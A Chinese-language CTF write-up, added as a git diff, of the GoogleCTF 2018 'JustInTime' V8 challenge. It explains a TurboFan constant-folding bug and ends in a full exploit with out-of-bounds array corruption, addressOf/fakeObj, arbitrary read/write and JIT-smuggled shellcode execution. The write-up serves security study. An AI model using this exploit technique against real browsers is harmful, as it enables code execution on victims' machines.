diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/README.md b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/README.md new file mode 100644 index 0000000..13edc6b --- /dev/null +++ b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/README.md @@ -0,0 +1,682 @@ +# GoogleCTF2018_JustInTime + +## 题目分析 + +题目给出一段patch代码: + +```patch +diff --git a/BUILD.gn b/BUILD.gn +index c6a58776cd..14c56d2910 100644 +--- a/BUILD.gn ++++ b/BUILD.gn +@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") { + "src/compiler/dead-code-elimination.cc", + "src/compiler/dead-code-elimination.h", + "src/compiler/diamond.h", ++ "src/compiler/duplicate-addition-reducer.cc", ++ "src/compiler/duplicate-addition-reducer.h", + "src/compiler/effect-control-linearizer.cc", + "src/compiler/effect-control-linearizer.h", + "src/compiler/escape-analysis-reducer.cc", +diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc +new file mode 100644 +index 0000000000..59e8437f3d +--- /dev/null ++++ b/src/compiler/duplicate-addition-reducer.cc +@@ -0,0 +1,71 @@ ++// Copyright 2018 Google LLC ++// ++// Licensed under the Apache License, Version 2.0 (the "License"); ++// you may not use this file except in compliance with the License. ++// You may obtain a copy of the License at ++// ++// http://www.apache.org/licenses/LICENSE-2.0 ++// ++// Unless required by applicable law or agreed to in writing, software ++// distributed under the License is distributed on an "AS IS" BASIS, ++// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ++// See the License for the specific language governing permissions and ++// limitations under the License. ++#include "src/compiler/duplicate-addition-reducer.h" ++ ++#include "src/compiler/common-operator.h" ++#include "src/compiler/graph.h" ++#include "src/compiler/node-properties.h" ++ ++namespace v8 { ++namespace internal { ++namespace compiler { ++ ++DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph, ++ CommonOperatorBuilder* common) ++ : AdvancedReducer(editor), ++ graph_(graph), common_(common) {} ++ ++Reduction DuplicateAdditionReducer::Reduce(Node* node) { ++ switch (node->opcode()) { ++ case IrOpcode::kNumberAdd: ++ return ReduceAddition(node); ++ default: ++ return NoChange(); ++ } ++} ++ ++Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { ++ DCHECK_EQ(node->op()->ControlInputCount(), 0); ++ DCHECK_EQ(node->op()->EffectInputCount(), 0); ++ DCHECK_EQ(node->op()->ValueInputCount(), 2); ++ ++ Node* left = NodeProperties::GetValueInput(node, 0); ++ if (left->opcode() != node->opcode()) { ++ return NoChange(); ++ } ++ ++ Node* right = NodeProperties::GetValueInput(node, 1); ++ if (right->opcode() != IrOpcode::kNumberConstant) { ++ return NoChange(); ++ } ++ ++ Node* parent_left = NodeProperties::GetValueInput(left, 0); ++ Node* parent_right = NodeProperties::GetValueInput(left, 1); ++ if (parent_right->opcode() != IrOpcode::kNumberConstant) { ++ return NoChange(); ++ } ++ ++ double const1 = OpParameter(right->op()); ++ double const2 = OpParameter(parent_right->op()); ++ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); ++ ++ NodeProperties::ReplaceValueInput(node, parent_left, 0); ++ NodeProperties::ReplaceValueInput(node, new_const, 1); ++ ++ return Changed(node); ++} ++ ++} // namespace compiler ++} // namespace internal ++} // namespace v8 +diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h +new file mode 100644 +index 0000000000..7285f1ae3e +--- /dev/null ++++ b/src/compiler/duplicate-addition-reducer.h +@@ -0,0 +1,60 @@ ++/* ++ * Copyright 2018 Google LLC ++ * ++ * Licensed under the Apache License, Version 2.0 (the "License"); ++ * you may not use this file except in compliance with the License. ++ * You may obtain a copy of the License at ++ * ++ * http://www.apache.org/licenses/LICENSE-2.0 ++ * ++ * Unless required by applicable law or agreed to in writing, software ++ * distributed under the License is distributed on an "AS IS" BASIS, ++ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ++ * See the License for the specific language governing permissions and ++ * limitations under the License. ++ */ ++ ++#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_ ++#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_ ++ ++#include "src/base/compiler-specific.h" ++#include "src/compiler/graph-reducer.h" ++#include "src/globals.h" ++#include "src/machine-type.h" ++ ++namespace v8 { ++namespace internal { ++namespace compiler { ++ ++// Forward declarations. ++class CommonOperatorBuilder; ++class Graph; ++ ++class V8_EXPORT_PRIVATE DuplicateAdditionReducer final ++ : public NON_EXPORTED_BASE(AdvancedReducer) { ++ public: ++ DuplicateAdditionReducer(Editor* editor, Graph* graph, ++ CommonOperatorBuilder* common); ++ ~DuplicateAdditionReducer() final {} ++ ++ const char* reducer_name() const override { return "DuplicateAdditionReducer"; } ++ ++ Reduction Reduce(Node* node) final; ++ ++ private: ++ Reduction ReduceAddition(Node* node); ++ ++ Graph* graph() const { return graph_;} ++ CommonOperatorBuilder* common() const { return common_; }; ++ ++ Graph* const graph_; ++ CommonOperatorBuilder* const common_; ++ ++ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer); ++}; ++ ++} // namespace compiler ++} // namespace internal ++} // namespace v8 ++ ++#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_ +diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc +index 5717c70348..8cca161ad5 100644 +--- a/src/compiler/pipeline.cc ++++ b/src/compiler/pipeline.cc +@@ -27,6 +27,7 @@ + #include "src/compiler/constant-folding-reducer.h" + #include "src/compiler/control-flow-optimizer.h" + #include "src/compiler/dead-code-elimination.h" ++#include "src/compiler/duplicate-addition-reducer.h" + #include "src/compiler/effect-control-linearizer.h" + #include "src/compiler/escape-analysis-reducer.h" + #include "src/compiler/escape-analysis.h" +@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase { + data->jsgraph()->Dead()); + DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(), + data->common(), temp_zone); ++ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(), ++ data->common()); + JSCreateLowering create_lowering(&graph_reducer, data->dependencies(), + data->jsgraph(), data->js_heap_broker(), + data->native_context(), temp_zone); +@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase { + data->js_heap_broker(), data->common(), + data->machine(), temp_zone); + AddReducer(data, &graph_reducer, &dead_code_elimination); ++ AddReducer(data, &graph_reducer, &duplicate_addition_reducer); + AddReducer(data, &graph_reducer, &create_lowering); + AddReducer(data, &graph_reducer, &constant_folding_reducer); + AddReducer(data, &graph_reducer, &typed_optimization); + +``` + +patch代码在`TypedLoweringPhase`​阶段添加了一个名为`duplicate_addition_reducer`​的`Reducer`​,约简的具体过程如下: + +```cc +Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { + DCHECK_EQ(node->op()->ControlInputCount(), 0); + DCHECK_EQ(node->op()->EffectInputCount(), 0); + DCHECK_EQ(node->op()->ValueInputCount(), 2); + + Node* left = NodeProperties::GetValueInput(node, 0); + if (left->opcode() != node->opcode()) { + return NoChange(); // [1] + } + + Node* right = NodeProperties::GetValueInput(node, 1); + if (right->opcode() != IrOpcode::kNumberConstant) { + return NoChange(); // [2] + } + + Node* parent_left = NodeProperties::GetValueInput(left, 0); + Node* parent_right = NodeProperties::GetValueInput(left, 1); + if (parent_right->opcode() != IrOpcode::kNumberConstant) { + return NoChange(); // [3] + } + + double const1 = OpParameter(right->op()); + double const2 = OpParameter(parent_right->op()); + + Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); + + NodeProperties::ReplaceValueInput(node, parent_left, 0); + NodeProperties::ReplaceValueInput(node, new_const, 1); + return Changed(node); // [4] +} +``` + +这个约化器通过处理包含两个`ValueEdge`​,不包含`ControlEdge`​和`EffectEdge`​的情况,并且第一个`ValueEffet`​的操作码与结点操作码相同,第二个`ValueEffet`​的操作码是`NumberConstant`​,同时第一个`ValueEffet`​有两条父`ValueEffect`​,其中第二个父`ValueEffet`​对应的类型是`NumberConstant`​。如果满足该条件,则会生成一个新的`NumberConstant`​结点,表示`parent_right + right`​的值,并将第一个`ValueEffet`​替换为`parent_left`​,第二个替换为`parent_right + right`​,实际操作如下图所示: + +‍ + +​![image](assets/image-20240917224647-xhrmogp.png)​ + +优化后的结点: + +​![image](assets/image-20240917224712-2dh9k1z.png)​ + +### 触发优化 + +#### 构造二元值依赖 + +利用该代码实验: + +```js +function opt_me(x) { + return x + 1; +} + +opt_me(2); +%OptimizeFunctionOnNextCall(opt_me); +opt_me(3); +``` + +对于一个加法`x+1`​而言,生成的结点是`SpeculativeSafeIntegerAdd`​,始终是一个四元的,且不会被优化,因为值的类型都是`Int32`​或`Double`​可以表示的值,对应的级别已经很低,操作很简单。 + +​![image](assets/image-20240918000529-dxghp5h.png)​ + +而对于而言`SpeculativeNumberAdd`​,虽然同样是四元,但是可以被优化为`NumberAdd`​: + +```cc +Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) { + Node* const lhs = NodeProperties::GetValueInput(node, 0); + Node* const rhs = NodeProperties::GetValueInput(node, 1); + Type const lhs_type = NodeProperties::GetType(lhs); + Type const rhs_type = NodeProperties::GetType(rhs); + NumberOperationHint hint = NumberOperationHintOf(node->op()); + if ((hint == NumberOperationHint::kNumber || + hint == NumberOperationHint::kNumberOrOddball) && + BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && + NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { + // SpeculativeNumberAdd(x:-string, y:-string) => + // NumberAdd(ToNumber(x), ToNumber(y)) + Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); + Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); + Node* const value = + graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); + ReplaceWithValue(node, value); + return Replace(value); + } + return NoChange(); +} +``` + +尝试以下测试代码: + +```js +function opt_me(x) { + return x + Number.MAX_SAFE_INTEGER; +} + +opt_me(2); +%OptimizeFunctionOnNextCall(opt_me); +opt_me(3); +``` + +此时对应的结点不再是`SpeculativeSafeIntegerAdd`​而是`SpeculativeNumberAdd`​: + +​![image](assets/image-20240918001437-9umg3om.png)​ + +‍ + +‍ + +分析源码知道当满足`hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball`​的条件与`BothAre(lhs_type, rhs_type, Type::PlainPrimitive())`​的条件,则会将`SpeculativeNumberAdd`​替换为`NumberAdd`​,而`NumberAdd`​的边数正好是2: + +```cc +Node* const value = + graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); + ReplaceWithValue(node, value); + return Replace(value); + +template + Node* NewNode(const Operator* op, Node* n0, Args... nodes) { + Node* buffer[] = {n0, nodes...}; + return MakeNode(op, arraysize(buffer), buffer); + } +``` + +对于`hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball`​,保证输入输出的类型即可: + +```js +enum class NumberOperationHint : uint8_t { + kSignedSmall, // Inputs were Smi, output was in Smi. + kSignedSmallInputs, // Inputs were Smi, output was Number. + kNumber, // Inputs were Number, output was Number. + kNumberOrBoolean, // Inputs were Number or Boolean, output was Number. + kNumberOrOddball, // Inputs were Number or Oddball, output was Number. +}; +``` + +对于`othAre(lhs_type, rhs_type, Type::PlainPrimitive())`​,只需要保证二者都是64位能够表示的整数范围,就能够满足该条件。因此编写以下代码: + +```js +function opt_me(x) { + let y = 100 + x; + return y + Number.MAX_SAFE_INTEGER; +} + +opt_me(2); +%OptimizeFunctionOnNextCall(opt_me); +opt_me(3); +``` + +在`TyperPhase`​阶段,两个依赖值都是`Range`​类型,且范围在`PlainNumber`​内: + +​![image](assets/image-20240919211826-citkoly.png)​ + +在`TypedLowingPhase`​即被优化为`NumberAdd`​: + +​![image](assets/image-20240919211846-z42anj6.png)​ + +#### 构造Case4 + +构造Case4需要构造连续的`NumberAdd`​,对于未patch的版本,`let y = x + Number.MAX_SAFE_INTEGER + 1 + 1`​在`TypeLowingPhase`​时会存在两个`NumberAdd`​结点: + +​![image](assets/image-20240919223627-c0dpnys.png)​ + +而由于`DuplicateAdditionReducer`​的存在,上述代码会合并成`x+2`​: + +​![image](assets/image-20240919224311-kaamu4x.png)​ + +因此可以给出触发优化的代码: + +```js +function opt_me(x) { + let y = x + Number.MAX_SAFE_INTEGER + 1 + 1; + return y; +} + +opt_me(2); +%OptimizeFunctionOnNextCall(opt_me); +opt_me(3); +``` + +## 漏洞分析 + +### SafeInteger误判 + +漏洞的成因是V8使用`IEEE-754`​规范表示浮点数,此规范用低52位表示尾数,用次高11位表示阶码,用最高位表示符号位。 + +​![image](assets/image-20240919224730-8nh0vmw.png)​ + +V8中复用此结构来表示整数,在此范围内的整数称作`SafeInteger`​。漏洞成因是`DuplicateAdditionReducer`​在合并结点时将两个常量值按照`double`​类型直接相加: + +```js +double const1 = OpParameter(right->op()); +double const2 = OpParameter(parent_right->op()); +Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); +``` + +然而在V8中使用`IEEE-754`​规范并不能精确表示`SafeInteger`​范围外的整数,因此会出现一些反常的行为: + +```js +V8 version 7.0.276.3 +d8> x = Number.MAX_SAFE_INTEGER +9007199254740991 +d8> x + 1 +9007199254740992 +d8> x + 2 +9007199254740992 +d8> x + 1 + 1 +9007199254740992 +d8> x + 1 + 1 + 1 + 1 +9007199254740992 +d8> 9007199254740993 == 9007199254740992 +true +``` + +这是因为浮点数值的计算公式是: + +$$ +value = (-1)^{sign} × 2^{e} × fraction \\ +e = 2^{exponent - bias} \\ +bias = 1024 \\ +fraction = bit_{51}×2^0 + bit_{50}×2^{-1} + ... + bit_0×2^{-51} +$$ + +9007199254740991对应的如下: + +​![image](assets/image-20240919231536-fs5pfd4.png)​ + +9007199254740992对应的如下: + +​![image](assets/image-20240919231602-e82wgz7.png)​ + +9007199254740993对应的如下: + +​![image](assets/image-20240919232315-7d5bwr3.png)​ + +也就是说9007199254740992和9007199254740993在内存中的表示是一样的,套用上述公式,我们知道: + +$$ +value = 2^{434H-1024}×fraction=2^{52}×fraction +$$ + +即: + +$$ +value = bit_{51}×2^{52} + bit_{50}×2^{50} + ... + bit_0×2^{1} +$$ + +因此,在尾数+1时,表示的整数值最少加2,因此无法表示9007199254740993。这就会导致: + +```js +d8> x = Number.MAX_SAFE_INTEGER + 1 +9007199254740992 +d8> x + 1 + 1 +9007199254740992 +d8> x + 2 +9007199254740994 +``` + +也就是: + +​![image](assets/image-20240919233206-ukmojnr.png)​ + +### 消除CheckBounds + +利用这一点,我们可以让**TurboFan**错误地消除用于判断数组越界的`CheckBounds`​结点。 + +我们先看一简单的例子,分析**TurboFan**怎样对其进行优化: + +```js +function opt_me(x) { + x &= 3; + let arr = [1.1, 1.2, 1.3, 2.2]; + return arr[x]; +} + +opt_me(2); +%OptimizeFunctionOnNextCall(opt_me); +opt_me(100); +``` + +在`EscapeAnalysis`​及之前的阶段,都存在`CheckBounds`​结点,用于判断数组的索引是否越界: + +​![image](assets/image-20240919234149-9ttsul0.png)​ + +而在`SimplifiedLowing`​阶段,因为`x &= 3`​范围在`[0, 3]`​因此会消除`CheckBounds`​结点: + +‍ + +​![image](assets/image-20240919234637-z3jhosz.png)​ + +利用这一点,我们可以利用`9007199254740992 + 1 + 1 != 9007199254740992 + 2`​的特点构造POC: + +```js +function opt_me(x) { + let arr = [.1, .2]; + let y = (x == 1 ? 9007199254740992: 9007199254740989) + 1 + 1; + y -= 9007199254740991; + return arr[y]; +} + +console.log(opt_me(1)); +%OptimizeFunctionOnNextCall(opt_me); +console.log(opt_me(1)); +``` + +输出结果: + +```js +Concurrent recompilation has been disabled for tracing. +0.2 +--------------------------------------------------- +Begin compiling method opt_me using Turbofan +--------------------------------------------------- +Finished compiling method opt_me using Turbofan +0 +``` + +## 漏洞利用 + +有了上述POC,我们就可以借此获得`oob`​,修改`FixedArray.length`​: + +```js +function opt_me(x) { // target is write arr[5]; + let arr = [.1, .2]; + let y = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1; + // turbo range(9007199254740991, 9007199254740992) + // real range(9007199254740991, 9007199254740996) + y -= 9007199254740991; + // turbo range(0, 1); + // real range(0, 5); + arr[y] = 1; + return arr; +} +``` + +这样即可修改得到越界读写的`oob_array`​: + +```js +pwndbg> job 0x1c91884ac321 +0x1c91884ac321: [JSArray] + - map: 0x217056a02931 [FastProperties] + - prototype: 0x39582ee86919 + - elements: 0x1c91884ac301 [PACKED_DOUBLE_ELEMENTS] + - length: 1072693248 + - properties: 0x015d29f82d29 { + #length: 0x303c03318351 (const accessor descriptor) + } + - elements: 0x1c91884ac301 { + 0: 0.1 + 1: 0.2 + } +``` + +这里有一点需要注意,虽然`arr`​的元素是`FixedDoubleArray`​,但是如果写入`arr[y] = u2d(1n)`​,会导致`CheckBounds`​结点在优化过程中未被消除: + +​![image](assets/image-20240920205957-smi3qrl.png)​ + +从而导致`arr[5]`​无法越界修改到`length`​,而是发生去优化: + +```js +d8> arr +[0.1, 0.2] +d8> arr[5] = 1 +1 +d8> arr +[0.1, 0.2, , , , 1] +``` + +后续利用方法同V8 堆Sandbox中的立即数写shellcode。 + +EXP: + +```js +let array_buffer = new ArrayBuffer(0x8); +let data_view = new DataView(array_buffer); + +function d2u(value) { + data_view.setFloat64(0, value); + return data_view.getBigUint64(0); +} + +function u2d(value) { + data_view.setBigUint64(0, value); + return data_view.getFloat64(0); +} + +function hex(val) { + return '0x' + val.toString(16).padStart(16, "0"); +} + +function shellcode() { + return [ + 1.930800574428816e-246, + 1.9710610293119303e-246, + 1.9580046981136086e-246, + 1.9533830734556562e-246, + 1.961642575273437e-246, + 1.9399842868403466e-246, + 1.9627709291878714e-246, + 1.9711826272864685e-246, + 1.9954775598492772e-246, + 2.000505685241573e-246, + 1.9535148279508375e-246, + 1.9895153917617124e-246, + 1.9539853963090317e-246, + 1.9479373016495106e-246, + 1.97118242283721e-246, + 1.95323825426926e-246, + 1.99113905582155e-246, + 1.9940808572858186e-246, + 1.9537941682504095e-246, + 1.930800151635891e-246, + 1.932214185322047e-246 + ]; +} + +for (let i = 0; i < 0x40000; i++) { + shellcode(); +} + + +function opt_me(x) { // target is write arr[5]; + let arr = [.1, .2]; + let y = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1; + // turbo range(9007199254740991, 9007199254740992) + // real range(9007199254740991, 9007199254740996) + y -= 9007199254740991; + // turbo range(0, 1); + // real range(0, 5); + arr[y] = 1; + return arr; +} + +for(let i = 0; i < 0x40000; i++) { + opt_me(0); +} +let oob_array = opt_me(1); +var object_array = [{}]; +var double_array = [.1]; +var rw_array = [.1]; +var double_array_map = d2u(oob_array[23]); +var object_array_map = d2u(oob_array[16]); +print("[*] double_array_map -> " + hex(double_array_map)); +print("[*] object_array_map -> " + hex(object_array_map)); + + +function addressOf(obj) { + oob_array[23] = u2d(object_array_map); + double_array[0] = obj; + oob_array[23] = u2d(double_array_map); + return d2u(double_array[0]); +} + + +function fakeObj(addr) { + oob_array[16] = u2d(double_array_map); + object_array[0] = u2d(addr); + oob_array[16] = u2d(object_array_map); + return object_array[0]; +} + + +%DebugPrint(oob_array); +%DebugPrint(rw_array); + +function arb_read(addr) { + oob_array[32] = u2d((addr - 0x10n) | 1n); + return d2u(rw_array[0]); +} + +function arb_write(addr, value) { + oob_array[32] = u2d((addr - 0x10n) | 1n); + rw_array[0] = u2d(value); +} + +%DebugPrint(shellcode); +shellcode_addr = addressOf(shellcode); +var code_addr = arb_read(shellcode_addr - 1n + 0x30n); +// var entry_point_addr = arb_read(code_addr - 1n + 8n); +print("[*] shellcode addr -> " + hex(shellcode_addr)); +print("[*] code_addr -> " + hex(code_addr)); +arb_write(shellcode_addr - 1n + 0x30n, code_addr + 0x6en); +shellcode(); +%SystemBreak(); +``` diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240917224647-xhrmogp.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240917224647-xhrmogp.png new file mode 100644 index 0000000..e5a192a Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240917224647-xhrmogp.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240917224712-2dh9k1z.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240917224712-2dh9k1z.png new file mode 100644 index 0000000..edfc68c Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240917224712-2dh9k1z.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240918000529-dxghp5h.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240918000529-dxghp5h.png new file mode 100644 index 0000000..b2dd713 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240918000529-dxghp5h.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240918001437-9umg3om.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240918001437-9umg3om.png new file mode 100644 index 0000000..8d47a56 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240918001437-9umg3om.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919211826-citkoly.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919211826-citkoly.png new file mode 100644 index 0000000..f48906a Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919211826-citkoly.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919211846-z42anj6.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919211846-z42anj6.png new file mode 100644 index 0000000..4d912f3 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919211846-z42anj6.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919223627-c0dpnys.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919223627-c0dpnys.png new file mode 100644 index 0000000..385a403 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919223627-c0dpnys.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919224311-kaamu4x.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919224311-kaamu4x.png new file mode 100644 index 0000000..f5fdeff Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919224311-kaamu4x.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919224730-8nh0vmw.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919224730-8nh0vmw.png new file mode 100644 index 0000000..46b142c Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919224730-8nh0vmw.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919231536-fs5pfd4.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919231536-fs5pfd4.png new file mode 100644 index 0000000..e6b1301 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919231536-fs5pfd4.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919231602-e82wgz7.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919231602-e82wgz7.png new file mode 100644 index 0000000..d0c8509 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919231602-e82wgz7.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919232315-7d5bwr3.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919232315-7d5bwr3.png new file mode 100644 index 0000000..b6fe406 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919232315-7d5bwr3.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919233206-ukmojnr.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919233206-ukmojnr.png new file mode 100644 index 0000000..be76b1d Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919233206-ukmojnr.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919234149-9ttsul0.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919234149-9ttsul0.png new file mode 100644 index 0000000..1f3c8cb Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919234149-9ttsul0.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919234637-z3jhosz.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919234637-z3jhosz.png new file mode 100644 index 0000000..c51b6eb Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240919234637-z3jhosz.png differ diff --git a/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240920205957-smi3qrl.png b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240920205957-smi3qrl.png new file mode 100644 index 0000000..b57eba4 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/GoogleCTF2018_JustInTime/assets/image-20240920205957-smi3qrl.png differ